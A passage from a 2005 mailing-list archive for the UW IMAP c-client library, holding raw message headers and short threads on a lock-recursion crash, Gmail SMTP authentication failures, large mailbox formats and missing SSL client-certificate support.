2005 01:37:50 -0800 Received: (sifymail 24821 invoked from 10.1.8.85 by host sifycorpmail by uid 508); 11 Feb 2005 15:05:48 +0530 Received: from 10.1.8.85 (HELO sifycorp.com) (10.1.8.85) by 10.1.8.85 with SMTP; 11 Feb 2005 15:05:48 +0530 Received: (sifymail 24812 invoked from 210.210.123.112 by host sifycorpmail by uid 508); 11 Feb 2005 15:05:48 +0530 Received: from 210.210.123.112 (HELO 210-210-123-112.lan.sify.net) (sujith?m@sifycorp.com@210.210.123.112)by 10.1.8.85 with SMTP; 11 Feb 2005 15:05:48 +0530 Message-Id: <200502111507.14019.sujith_m@sifycorp.com> Date: Fri, 11 Feb 2005 15:07:13 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sujith To: c-client@u.washington.edu Subject: SMTP Port override MIME-Version: 1.0 Content-Type: text/plain;charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, Thanks. Regards, Sujith DISCLAIMER: Information contained and transmitted by this E-MAIL is proprietary to Sify Limited and is intended for use only by the individual or entity to which it is addressed, and may contain information that is privileged, confidential or exempt from disclosure under applicable law. If this is a forwarded message, the content of this E-MAIL may not have been sent with the authority of the Company. If you are not the intended recipient, an agent of the intended recipient or a person responsible for delivering the information to the named recipient, you are notified that any use, distribution, transmission, printing, copying or dissemination of this information in any way or in any manner is strictly prohibited. If you have received this communication in error, please delete this mail & notify us immediately at admin@sifycorp.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 15 08:27:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2005 08:27:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1FGRrdv020018 for ; Tue, 15 Feb 2005 08:27:53 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGRpjF021775 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Feb 2005 08:27:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1FGRfcJ020162; Tue, 15 Feb 2005 08:27:41 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGPxul070994 for ; Tue, 15 Feb 2005 08:25:59 -0800 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe5.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGPvn3032486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 15 Feb 2005 08:25:58 -0800 Received: from mail-veri.imag.fr (mail-veri.imag.fr [129.88.43.52]) by imag.imag.fr (8.13.0/8.13.0) with ESMTP id j1FGPhjR020612 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 15 Feb 2005 17:25:44 +0100 (CET) Received: from corbeau.imag.fr ([129.88.43.162]) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1D15WB-0007Sq-00; Tue, 15 Feb 2005 17:25:43 +0100 Message-Id: Date: Tue, 15 Feb 2005 17:25:43 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: What to do with VERY large mailbox files? In-Reply-To: References: <20030429190815.B17232@superfly.archi-me-des.de> <2147483647.1051643715@[192.168.1.11]> <20030429193421.E17232@superfly.archi-me-des.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.4 (imag.imag.fr [129.88.30.1]); Tue, 15 Feb 2005 17:25:44 +0100 (CET) X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry, this is really back in time.... On Tue, 29 Apr 2003, Mark Crispin wrote: > There are, indeed, other alternatives to flat-file and file/message > formats. We are working on such an alternative in c-client, and hope to > offer it soon (it's in testing here). Are there any news about this alternative format ? Thanks. -- Nicolas From pinedev@shivax2.cac.washington.edu Tue Feb 15 08:49:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2005 08:49:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1FGnIQU021039 for ; Tue, 15 Feb 2005 08:49:18 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGnGOL022794 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Feb 2005 08:49:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1FGnAWM018830; Tue, 15 Feb 2005 08:49:10 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGmEfc103072 for ; Tue, 15 Feb 2005 08:48:14 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGmEiK001480 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 15 Feb 2005 08:48:14 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout7.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGmDWe002210; Tue, 15 Feb 2005 08:48:13 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGmD2I029595; Tue, 15 Feb 2005 08:48:13 -0800 Message-Id: Date: Tue, 15 Feb 2005 08:48:13 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: What to do with VERY large mailbox files? In-Reply-To: References: <20030429190815.B17232@superfly.archi-me-des.de> <2147483647.1051643715@[192.168.1.11]> <20030429193421.E17232@superfly.archi-me-des.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 Feb 2005, Nicolas Kowalski wrote: > Are there any news about this alternative format ? Not yet. I've been bogged down in other tasks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 15 08:55:58 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Feb 2005 08:55:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1FGtvmF021275 for ; Tue, 15 Feb 2005 08:55:57 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGtsBj023038 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Feb 2005 08:55:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1FGtlEr012418; Tue, 15 Feb 2005 08:55:47 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGsfbZ074344 for ; Tue, 15 Feb 2005 08:54:41 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGsfTK005799 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 15 Feb 2005 08:54:41 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGseRE021851; Tue, 15 Feb 2005 08:54:40 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1FGseSh029753; Tue, 15 Feb 2005 08:54:40 -0800 Message-Id: Date: Tue, 15 Feb 2005 08:54:40 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jose A. Fabregas Reyes" Cc: c-client@u.washington.edu, aisistemas@ciemat.es Subject: Re: syslog: IMAP toolkit crash: Lock when already locked In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 Feb 2005, Jose A. Fabregas Reyes wrote: > I have a Tru64 V5.1A DS20 machine. One o twice at day, i get this > message: > > syslog: IMAP toolkit crash: Lock when already locked Just as a friendly reminder, the imap@u.washington.edu mailing list is for matters pertaining to the IMAP *protocol*, not for software issues. The correct mailing list for questions about the UW IMAP toolkit is c-client@u.washington.edu. Please use the latter address in the future. Thank you. The "Lock when already locked" error message indicates a software bug which is supposedly impossible in UW imapd. It has nothing to do with file locking; instead, it indicates a forbidden recursive call into the c-client library from a c-client callback in the application. What version of UW imapd are you running? Did your copy come directly from UW, or was it modified by a third party? Are you certain that the syslog came from UW imapd? Usually, the syslog will indicate the name of the program which output the message. It could be a bug in some other program which uses the c-client library. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 22 10:56:41 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Feb 2005 10:56:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MIufn2014092 for ; Tue, 22 Feb 2005 10:56:41 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MIudAc024536 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Feb 2005 10:56:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1MIuSIT015944; Tue, 22 Feb 2005 10:56:28 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MIrRDh114024 for ; Tue, 22 Feb 2005 10:53:27 -0800 Received: from design.uz (ev1s-207-44-184-40.ev1servers.net [207.44.184.40] (may be forged)) by mxe1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1MIrQnZ019906 for ; Tue, 22 Feb 2005 10:53:26 -0800 Received: (qmail 8374 invoked by uid 8040); 22 Feb 2005 18:53:54 -0000 Received: from 195.158.7.64 by server2.e-capsule.net (envelope-from , uid 5002) with qmail-scanner-1.25 (sophie: 3.04/2.24/3.86. spamassassin: 2.63. Clear:RC:1(195.158.7.64):. Processed in 2.132818 secs); 22 Feb 2005 18:53:54 -0000 Received: from unknown (HELO ?192.168.0.29?) (195.158.7.64) by mail.design.uz with SMTP; 22 Feb 2005 18:53:51 -0000 Message-Id: <1693815891.20050222235315@angren.org> Date: Tue, 22 Feb 2005 23:53:15 +0500 Reply-To: Akmal Khodjanov Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Akmal Khodjanov To: c-client@u.washington.edu Subject: Problems with Google Mail SMTP MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, LOCALE_CYRILLIC 0, __BAT_MSGID 0, __CHAR_CYRILLIC_CT 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello all, Has anybody experienced problems using c-client on Google's SMTP server? I'm trying to send a message using c-client, and that's what I get: Log: SMTP SERVER BUG (invalid challenge): = Log: Can not authenticate to SMTP server: 334 = The hostlist I'm passing to smtp_open looks like this: smtp.gmail.com/ssl/user=myaccount@gmail.com/smtp Any help is appreciated. Thanks. -- Best regards, Akmal mailto:akmal@angren.org ----------------------------------- "The hardest thing in the world to understand is the income tax." — Albert Einstein. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 22 11:21:03 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Feb 2005 11:21:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MJL3UF015177 for ; Tue, 22 Feb 2005 11:21:03 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MJL1xQ004590 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Feb 2005 11:21:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1MJKtX8020396; Tue, 22 Feb 2005 11:20:55 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MJIWPU114164 for ; Tue, 22 Feb 2005 11:18:32 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MJIVrl025715 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 22 Feb 2005 11:18:32 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MJIVnj017653; Tue, 22 Feb 2005 11:18:31 -0800 Received: from Shimo-Tomobiki.panda.com (D-140-142-21-26.dhcp4.washington.edu [140.142.21.26]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1MJHDHR003664 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 22 Feb 2005 11:17:14 -0800 Message-Id: Date: Tue, 22 Feb 2005 11:17:10 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Akmal Khodjanov Cc: c-client@u.washington.edu Subject: Re: Problems with Google Mail SMTP In-Reply-To: <1693815891.20050222235315@angren.org> References: <1693815891.20050222235315@angren.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The SSL SMTP server on smtp.gmail.com port 465 is broken and violates the RFCs in multiple ways. First, it doesn't do case-independent matching on SASL authenticator types (e.g. "auth plain" does not work but "auth PLAIN" does). Second, it does not issue proper empty challenges. It issues "334 =" instead of the correct "334 ". Basically, it's a variant of the problem described in: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.47 Please contact Google and report the problem. On Tue, 22 Feb 2005, Akmal Khodjanov wrote: > Has anybody experienced problems using c-client on Google's SMTP > server? I'm trying to send a message using c-client, and that's what I > get: > Log: SMTP SERVER BUG (invalid challenge): = > Log: Can not authenticate to SMTP server: 334 = > The hostlist I'm passing to smtp_open looks like this: > smtp.gmail.com/ssl/user=myaccount@gmail.com/smtp -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 22 13:04:08 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Feb 2005 13:04:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1ML47Bd019874 for ; Tue, 22 Feb 2005 13:04:07 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1ML46kD009268 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Feb 2005 13:04:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1ML3ufY019216; Tue, 22 Feb 2005 13:03:56 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1ML1Q3m032962 for ; Tue, 22 Feb 2005 13:01:26 -0800 Received: from gromit.ibp.de (195.222.227.20.ibp.de [195.222.227.20] (may be forged)) by mxe4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1ML1OKc023493 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 22 Feb 2005 13:01:26 -0800 Received: from [195.222.227.18] (helo=[195.222.227.18]) by gromit.ibp.de with asmtp (Exim 4.34) id 1D3h6D-0007bU-Mj; Tue, 22 Feb 2005 21:57:42 +0100 Message-Id: <421B9DB6.30702@ibp.de> Date: Tue, 22 Feb 2005 22:01:42 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Immisch To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Spam-Score: -2.6 (--) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, > Also, when running test transfers, I am experiencing more weird error > messages from mailutil, such as "message contain NUL character". It > seems that my users mailboxes contain a lot of crap. I remember, I had those a lot when I converted my old Unix mailboxes that had NeXTMail attachments in them. - Lars From pinedev@shivax2.cac.washington.edu Wed Feb 23 23:03:01 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2005 23:03:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O730or032026 for ; Wed, 23 Feb 2005 23:03:00 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O72xJ2018261 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 23 Feb 2005 23:03:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1O72nS9015032; Wed, 23 Feb 2005 23:02:50 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O6xv3Q102682 for ; Wed, 23 Feb 2005 22:59:57 -0800 Received: from smtpout02-04.prod.mesa1.secureserver.net (smtpout02-04.prod.mesa1.secureserver.net [64.202.165.194]) by mxe4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1O6xuBE022638 for ; Wed, 23 Feb 2005 22:59:56 -0800 Received: (qmail 29787 invoked from network); 24 Feb 2005 06:58:05 -0000 Received: from unknown (68.3.230.141) by smtpout02-04.prod.mesa1.secureserver.net (64.202.165.194) with ESMTP; 24 Feb 2005 06:58:05 -0000 Message-Id: <421D7B70.6050403@starnetworks.us> Date: Thu, 24 Feb 2005 00:00:00 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin P. Fleming" To: c-client@u.washington.edu Subject: c-client support for client certificates? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to build up a Horde/IMP installation secured by using SSL certificates on both sides (server and client). I have no trouble using the client cert to authenticate to Horde, and I have no trouble using the client cert to authenticate _directly_ to Cyrus IMAP (which is obviously my IMAP backend). I'm running all this on Linux, using OpenSSL, and the IMAP toolkit was built using "make slx" with SSLTYPE set to unix.nopwd. What I cannot do (yet) is get IMP to pass the certificate it received from Apache along as part of the TLS negotiation when it tries to connect to the IMAP server. IMP uses the PHP imap extension, which in turn uses c-client (and yes, I'm running the latest c-client and PHP). The documentation on c-client is sparse... but I do see a mail_parameter setting for SSLCERTIFICATEQUERY. I cannot find any docs or examples that would show me what this is for, though, so I figured I'd ask here. Is there any way currently to get c-client to accept a client certificate (PEM-encoded string representation) and pass it along when OpenSSL asks for it during the TLS negotiation? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 23 23:31:29 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2005 23:31:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O7VT9l032755 for ; Wed, 23 Feb 2005 23:31:29 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O7VS5R019343 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 23 Feb 2005 23:31:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1O7VMs4015876; Wed, 23 Feb 2005 23:31:22 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O7Sh1N019368 for ; Wed, 23 Feb 2005 23:28:43 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O7SgpS026308 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 23 Feb 2005 23:28:42 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O7Sg0x004757; Wed, 23 Feb 2005 23:28:42 -0800 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1O7SdqN032365 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 23 Feb 2005 23:28:41 -0800 Message-Id: Date: Wed, 23 Feb 2005 23:28:39 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Kevin P. Fleming" Cc: c-client@u.washington.edu Subject: Re: c-client support for client certificates? In-Reply-To: <421D7B70.6050403@starnetworks.us> References: <421D7B70.6050403@starnetworks.us> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN No, c-client does not have any support for SSL client certificates. The [GS]ET_SSLCERTIFICATEQUERY mail_parameter() callback routine is used to allow the application a chance to decide whether to proceed or abort if the *server* certificate fails validation. On Thu, 24 Feb 2005, Kevin P. Fleming wrote: > Is there any way currently to get c-client to accept a client certificate > (PEM-encoded string representation) and pass it along when OpenSSL asks for > it during the TLS negotiation? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Feb 24 07:21:16 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Feb 2005 07:21:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1OFLGap017113 for ; Thu, 24 Feb 2005 07:21:16 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1OFLEsm003791 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 24 Feb 2005 07:21:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1OFL9DX011060; Thu, 24 Feb 2005 07:21:09 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu 